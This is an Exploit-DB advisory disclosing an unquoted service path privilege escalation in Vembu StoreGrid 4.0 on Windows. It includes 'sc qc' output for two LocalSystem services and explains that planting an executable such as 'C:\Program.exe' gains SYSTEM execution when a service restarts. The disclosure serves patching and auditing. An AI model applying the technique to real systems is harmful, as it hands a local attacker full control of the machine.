Vembu StoreGrid 4.0 - Unquoted Service Path Privilege Escalation

2016-10-19T00:00:00
ID EDB-ID:40582
Type exploitdb
Reporter Joey Lane
Modified 2016-10-19T00:00:00

Description

Vembu StoreGrid 4.0 - Unquoted Service Path Privilege Escalation. Local exploit for Windows platform

                                        
                                            # Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012

StoreGrid is a re-brandable backup solution, which can install 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 4.0, but other versions may be affected as well.


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C:\>sc qc RemoteBackup

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe


        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem


C:\>sc qc RemoteBackup_webServer

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup_webServer

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\apache\Apache.exe -k runservice

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup_WebServer

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

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EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.